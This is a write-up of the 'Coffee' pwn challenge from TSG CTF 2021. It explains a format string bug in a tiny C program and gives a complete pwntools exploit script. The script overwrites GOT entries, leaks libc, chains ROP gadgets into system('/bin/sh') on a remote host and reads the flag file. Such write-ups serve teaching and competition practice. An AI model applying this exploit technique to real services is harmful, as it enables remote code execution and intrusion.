---
# System prepended metadata

title: Coffee (TSG CTF 2021 Writeup)

---

# Coffee (TSG CTF 2021 Writeup)

## Overview of the challenge

The program is really simple!

```c=
#include <stdio.h>

int x = 0xc0ffee;
int main(void) {
    char buf[160];
    scanf("%159s", buf);
    if (x == 0xc0ffee) {
        printf(buf);
        x = 0;
    }
    puts("bye");
}
```

1. reads a string (<= 159)
2. if x == 0xc0ffee, then prints the buffer **and substitute 0 for x.**
3. finally puts "bye"

Don't forget checking the `checksec`!
```
$ checksec --file=coffee
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```
NO PIE and Partial RELRO!

## How to Pwn

The bug is trivial. There is a format string bug at `printf(buf)`. The main issue of this challenge is that it seems you cannot do FSB attack twice since the if-condition will no longer hold after you used `printf(buf)` once.

So, in some way, we want to
1. leak the libc address
2. replace an entry in GOT with `system` or some one gadeget RCE

My strategy to get shell is as follows.

In the first FSB payload, my poc will 

1. overwrite puts_got -> pop6;ret
2. leak libc_addr from scanf_got
3. send rop gadget to overwrite GOT table again

During the ROP gadget, we do `scanf("%s", puts_got)`. Then we overwrite the GOT entry of `puts` by `system` address. Note that at this time we have already leaked the libc address and therefore can calculate the system address.

## PoC


```python=
from __future__ import division, print_function
import random
from pwn import *
import time
import sys


context.log_level = 'error'

host = sys.argv[1]
port = int(sys.argv[2])
is_gaibu = True
log = False


def wait_for_attach():
    if not is_gaibu:
        print('attach?')
        raw_input()

def just_u64(x):
    return u64(x.ljust(8, b'\x00'))

r = remote(host, port)

def recvuntil(x, verbose=True):
    s = r.recvuntil(x)
    if log and verbose:
        print(s)
    return s.strip(x)

def recv(n, verbose=True):
    s = r.recv(n)
    if log and verbose:
        print(s)
    return s

def recvline(verbose=True):
    s = r.recvline()
    if log and verbose:
        print(s)
    return s.strip(b'\n')

def sendline(s, verbose=True):
    if log and verbose:
        pass
        #print(s)
    r.sendline(s)

def send(s, verbose=True):
    if log and verbose:
        print(s, end='')
    r.send(s)

def interactive():
    r.interactive()

####################################

def menu(choice):
    recvuntil(b':')
    sendline(str(choice))

# receive and send
def rs(s, new_line=True, r=b':'):
    recvuntil(r)
    s = str(s)
    if new_line:
        sendline(s)
    else:
        send(s)

binary_path = "coffee"

percent_s = 0x403004
puts_got = 0x404018
scanf_got = 0x404030
binsh_addr =  puts_got + 9

pop_rdi = 0x0000000000401293
pop_rsi_r15 = 0x0000000000401291
scanf_plt = 0x4010a0
puts_plt = 0x401070
ret = 0x000000000040101a

'''
0x0040128b: pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret  ;  (1 found)
'''
target = 0x0040128b

rop_payload = [
        pop_rdi,
        percent_s,
        pop_rsi_r15,
        puts_got,
        puts_got,
        ret,
        scanf_plt,  # system_addr; "/bin/sh"
        pop_rdi,
        binsh_addr,
        ret,
        puts_plt
]

head = b''.join(map(p64, rop_payload))
def exec_fmt(payload):
    p = process(binary_path)
    p.sendline(b'A' * len(head) + payload)
    return p.recvall()


# 1. overwrite puts_got -> pop6;ret
# 2. leak libc_addr from scanf_got
# 3. send rop gadget
payload = b'%4747c%21$lln%181c%22$hhnz%23$sx' + head + b'\x18@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00' + p64(scanf_got)
'''
context.binary = binary_path
autofmt = FmtStr(exec_fmt)
payload = fmtstr_payload(autofmt.offset, {puts_got: target}, write_size="short")
# b'%4747c%15$lln%181c%16$hhnaaaabaa\x18@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00'
print(payload)
'''
sendline(payload)

# leak libc
recvuntil(b"z")
s = recvuntil(b"x")
libc_base = just_u64(s) - 0x66230
print("libc_base: ", hex(libc_base))

system_addr = 0x55410 + libc_base

wait_for_attach()
sendline(p64(system_addr) + b"\x00/bin/sh\x00")

recv(4096)

sendline("cat flag-dcf095f41e7bf00fa7e7cf7ef2ce9083; echo")
s = recvline()
print(s)
if b'TSGCTF' in s:
    sys.exit(0)
else:
    sys.exit(1)
```